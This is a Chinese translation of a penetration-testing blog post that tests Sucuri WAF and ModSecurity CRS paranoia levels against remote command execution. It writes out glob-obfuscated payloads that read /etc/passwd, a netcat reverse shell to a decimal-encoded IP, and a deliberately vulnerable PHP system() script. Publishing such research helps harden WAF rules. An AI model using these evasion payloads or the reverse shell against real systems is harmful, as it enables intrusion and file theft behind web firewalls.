WAF 绕过实战:用 `/???/??t /???/??ss??` 读你的 passwd 文件

导语:在 Web 应用里发现远程命令执行(RCE)漏洞并不罕见,而现代 WAF 通常都能拦截这类攻击。但当目标系统是 Linux 时,渗透测试员手里有一件隐形武器——通配符(wildcard)。仅靠问号 ?、斜杠 /、数字与字母,就能执行系统命令、读 /etc/passwd、甚至反弹 shell。本文带你拆解 Sucuri WAF 与 ModSecurity 的规则盲区,并按 Paranoia Level 0 到 4 一路测过去。

用通配符 /bin/cat /etc/passwd 成功执行

引言:注入仍是头号威胁

OWASP Top 10 2017 把”注入”列为头号风险毫不奇怪——SQL、NoSQL、OS、LDAP 注入,攻击者的恶意数据都能欺骗解释器去执行未授权命令或访问数据。

现代 WAF 都能拦截(甚至阻断)RCE 攻击。但在 Linux 系统上,我们有海量方式可以绕开 WAF 规则集。渗透测试员最好的朋友不是汪星人,它的名字叫”通配符”。在动手做 WAF 绕过测试前,先讲讲 bash 通配符那些你可能不知道的事。

通配符:你可能不知道的事

Bash 标准通配符(即 globbing 模式)被各种命令行工具用来批量匹配文件。更多细节可以 man 7 glob 翻手册。并不是所有人都知道,bash 的多种语法能让你只靠问号 ?、斜杠 /、数字与字母就能执行系统命令。甚至能用同样数量的字符枚举文件并读取内容。几个例子:

不用执行 ls 命令,可以用这个语法:

/???/?s
用 /???/?s 语法执行的 ls 帮助输出

“ls” 的帮助输出用 /???/?s 语法成功执行

用这种语法基本上什么命令都能执行。假设目标在 WAF 后面,而 WAF 有规则拦所有 GET 参数或 POST body 里包含 /etc/passwd/bin/ls 的请求。你直接发 /?cmd=cat+/etc/passwd 会被 WAF 拦下来,IP 立刻被永久封禁,标签打上”又一个红队小子”。但你口袋里有一件秘密武器叫通配符。如果你运气够好(其实也不是那么运气好,等会你就知道了),目标 WAF 没有把”Paranoia Level”配到拦截 query string 里的 ?/ 的程度。那么你就可以轻松发这种 URL 编码后的请求:

/?cmd=%2f???%2f??t%20%2f???%2fp??s??
用通配符执行 /bin/cat /etc/passwd

如截图所示,输出里有 3 行 “/bin/cat *: Is a directory” 错误。这是因为 /???/??t 通过 globbing 过程能被”翻译”成 /bin/cat,但也可能匹配到 /dev/net/etc/apt 等等。

问号通配符只代表任意一个字符。所以如果你知道文件名的一部分但缺一个字母,可以用它。例如 ls *.??? 会列出当前目录下所有扩展名是 3 个字符的文件,比如 .gif.jpg.txt

用通配符可以执行 netcat 反弹 shell。假设你需要反弹一个 shell 到 127.0.0.1 的 1337 端口(一般是 nc -e /bin/bash 127.0.0.1 1337),可以用这种语法:

/???/n? -e /???/b??h 2130706433 1337

把 IP 地址 127.0.0.1 转成”长整型”格式(2130706433),就能在 HTTP 请求里避开点号字符。

在我的 Kali 上需要用 nc.traditional 而不是 nc,因为标准 nc 没有 -e 参数来在连接后执行 /bin/bash。payload 变成:

/???/?c.??????????? -e /???/b??h 2130706433 1337

两个命令的小结:

标准/bin/nc 127.0.0.1 1337 绕过版/???/n? 2130706433 1337 用到的字符/ ? n [0-9]

标准/bin/cat /etc/passwd 绕过版/???/??t /???/??ss?? 用到的字符/ ? t s

为什么用 ? 不用 ?因为星号 在 SQL 里被广泛用作注释符号(比如 / 嘿我是一条注释 /),很多 WAF 会直接拦掉它来防 SQL 注入——类似 UNION+SELECT+1,2,3/*

echo 枚举文件和目录?可以的。echo 命令能通过通配符枚举文件系统上的文件和目录。例如 echo //ss*

用 echo 命令枚举文件和目录

用 echo 命令枚举文件和目录

这在 RCE 场景下能用来获取目标系统的文件与目录,例如:

通过 WAF 枚举文件与目录

通过 WAF 枚举文件与目录

为什么用通配符(特别是问号)能绕过 WAF 规则集?从 Sucuri WAF 开始拆!

Sucuri WAF 绕过

测 WAF 规则集最好的方法是啥?写一个世界上最脆弱的 PHP 脚本然后把所有可能的技巧都跑一遍。上面那张截图里:左上窗是我那个丑到不行的 Web 应用(就是一个执行命令的 PHP 脚本):

<?php
      echo 'ok: ';
      print_r($_GET['c']);
      system($_GET['c']);

左下窗能看见对我被 Sucuri WAF 保护的网站(test1.unicresit.it)做的远程命令执行测试。Sucuri 直接把请求拦了,理由是”An attempted RFI/LFI was detected and blocked”。这个理由其实并不完全准确,但好消息是 WAF 把攻击拦住了(说实话我也不知道防火墙为啥要把拦截理由告诉请求方,肯定是有原因的)。

右窗才是最有趣的。同样的请求,但用问号当通配符。结果吓人——请求被 Sucuri WAF 接受,我的应用执行了我塞在 c 参数里的命令。现在我能读 /etc/passwd,甚至能读应用自己的 PHP 源码、能用 netcat 反弹 shell(或者按我的叫法:/???/?c)、能用 curlwget 之类的程序去暴露 Web 服务器的真实 IP,从而绕过 WAF 直连目标。

我不知道这是不是因为我在 Sucuri WAF 配置上漏了什么,但看起来不像是……我曾问过 Sucuri 这是否是预期行为,以及他们是否配了一个默认的”低 Paranoia Level”来避免误报,但还在等答复。

提示:上文提到的 “Get theMiddle’s stories in your inbox” 是 Medium 平台的订阅提示框,与正文无关,故略过。

补充说明一下:我做的测试是用了一个故意写得很挫的 PHP 脚本,不代表真实场景。我个人不认为应该根据 WAF 拦截了多少请求来评判它, Sucuri 拦不住一个故意写得有漏洞的网站不代表它就不安全。必要的澄清到此为止!

ModSecurity OWASP CRS 3.0

我是 ModSecurity 的真爱粉,新版 libmodsecurity(v3)配合 Nginx 和 Nginx connector 用起来是我部署 WAF 用过最爽的方案。我也是 OWASP Core Rule Set(OWASP 核心规则集)的大粉丝,到处都在用。但是如果你对这套规则集不熟,得注意一个叫爱……啊不,Paranoia Level(PL,偏执等级)的小东西!

Paranoia Level 速成

下面是 OWASP CRS GitHub 仓库里 REQUEST-920-PROTOCOL-ENFORCEMENT.conf 文件给出的”模式图”,是每个等级在”请求协议强制”规则上如何生效的好概览:

# -=[ Targets and ASCII Ranges ]=-
#
# 920270: PL1
# REQUEST_URI, REQUEST_HEADERS, ARGS and ARGS_NAMES
# ASCII: 1-255
# Example: Full ASCII range without null character
#
# 920271: PL2
# REQUEST_URI, REQUEST_HEADERS, ARGS and ARGS_NAMES
# ASCII: 9,10,13,32-126,128-255
# Example: Full visible ASCII range, tab, newline
#
# 920272: PL3
# REQUEST_URI, REQUEST_HEADERS, ARGS, ARGS_NAMES, REQUEST_BODY
# ASCII: 32-36,38-126
# Example: Visible lower ASCII range without percent symbol
#
# 920273: PL4
# ARGS, ARGS_NAMES and REQUEST_BODY
# ASCII: 38,44-46,48-58,61,65-90,95,97-122
# Example: A-Z a-z 0-9 = - _ . , : &
#
# 920274: PL4
# REQUEST_HEADERS without User-Agent, Referer, Cookie
# ASCII: 32,34,38,42-59,61,65-90,95,97-122
# Example: A-Z a-z 0-9 = - _ . , : & " * + / SPACE

下面把所有等级挨个跑一遍!

Paranoia Level 0(PL0)

PL0 意味着大量规则都被禁用了,所以我们的 payload 能直接 RCE 是正常的。别慌:)

SecAction "id:999,
phase:1,
nolog,
pass,
t:none,
setvar:tx.paranoia_level=0"
PL0 下 RCE 被 ModSecurity 接受(正常现象)

PL0 下 RCE 被 ModSecurity 接受(正常现象)

ModSecurity 的 PL1 意思是”高质量规则、几乎零误报”,但它也太宽松了。各等级的规则清单可以去 netnea 网站查:https://www.netnea.com/cms/core-rule-set-inventory/

Paranoia Level 1 和 2(PL1、PL2)

我把 PL1 和 PL2 放一起讲,因为它们的差异(如模式图所示)不影响我们的目标,行为都是下面说的这样。

SecAction "id:999,
phase:1,
nolog,
pass,
t:none,
setvar:tx.paranoia_level=1"

PL1(和 PL2)下 ModSecurity 显然拦了我的请求,理由是 “OS File Access Attempt”(930120)。但如果我用问号当通配符呢?请求被 WAF 接受:

PL1 和 PL2 下 RCE 未被拦截,能读 /etc/passwd

PL1 和 PL2 下 RCE 未被拦截,能读 /etc/passwd

这是因为”问号”、”斜杠”、”空格”都在规则 920271 和 920272 的接受字符范围内。而且用问号代替命令语法能让我绕开那些拦截常见命令与系统文件路径(如 /etc/passwd)的”OS Files”过滤器。

Paranoia Level 3(PL3)

这个等级多了一道防线:它会拦截请求里出现 n 次以上的 ? 字符。实际上,我的请求被拦了,理由是 “Meta-Character Anomaly Detection Alert — Repetitive Non-Word Characters”。厉害!ModSecurity,给你点赞,奖励一只毛绒熊!🐻 但可惜,我的 Web 应用实在太丑太脆弱,我可以用更少的问号照样读 passwd 文件:

c=/?in/cat+/et?/passw?
PL3 下用 3 个问号绕过拦截读取 passwd

PL3 下用 3 个问号绕过拦截读取 passwd

看,只用 3 个问号就能绕过这个 PL3 等级,读到目标系统里的 passwd 文件。当然,这不代表你要无条件地把 Paranoia Level 拉到 4。请注意,我测的是一个故意写得很挫的 PHP 脚本,不代表真实场景……但愿吧。

Paranoia Level 4(PL4)

基本上不行。我绕过不了。所有 a-z A-Z 0-9 之外的字符都会被拦!没办法……而且相信我,当你要执行命令读文件的时候,90% 的概率你会需要”空格”或者”斜杠” 😉

想要更多?

本系列第二篇:https://medium.com/@themiddleblue/web-application-firewall-waf-evasion-techniques-2-125995f3e7b0

最后的思考

回到静态 HTML 页面——这是提升 Web 应用安全最快的方式!🤓 很难说什么是规避 WAF 绕过的最佳配置,也很难说哪个 Paranoia Level 是最佳实践。个人认为我们不应该把一套规则集均匀地撒在整个 Web 应用上。事实上,我认为应该按应用功能域分别配置 WAF 规则

不管怎样,当你在 ModSecurity 里写一条新的 SecRule 或类似规则时,记住很可能有 N 种方法绕过你的过滤/正则。所以写的时候要反过来想:”我怎么绕过这条规则?”

拓展阅读

  • ModSecurity 规则手册:https://github.com/SpiderLabs/ModSecurity/wiki/Reference-Manual
  • netnea 的 Apache ModSecurity 教程:https://www.netnea.com/cms/apache-tutorials/
  • SpiderLabs 博客:https://www.trustwave.com/Resources/SpiderLabs-Blog/
  • ModSecurity v3 GitHub:https://github.com/SpiderLabs/ModSecurity/tree/v3/master

联系方式

  • Twitter:https://twitter.com/Menin_TheMiddle
  • GitHub:https://github.com/theMiddleBlue

原文出处:本文翻译自 I can read your passwd file with: “/???/??t” /???/??ss??” — theMiddle,作者 theMiddle,2017 年 12 月 8 日发布。

© 版权声明
THE END
喜欢就支持一下吧
点赞10分享
评论 抢沙发

请登录后发表评论

    暂无评论内容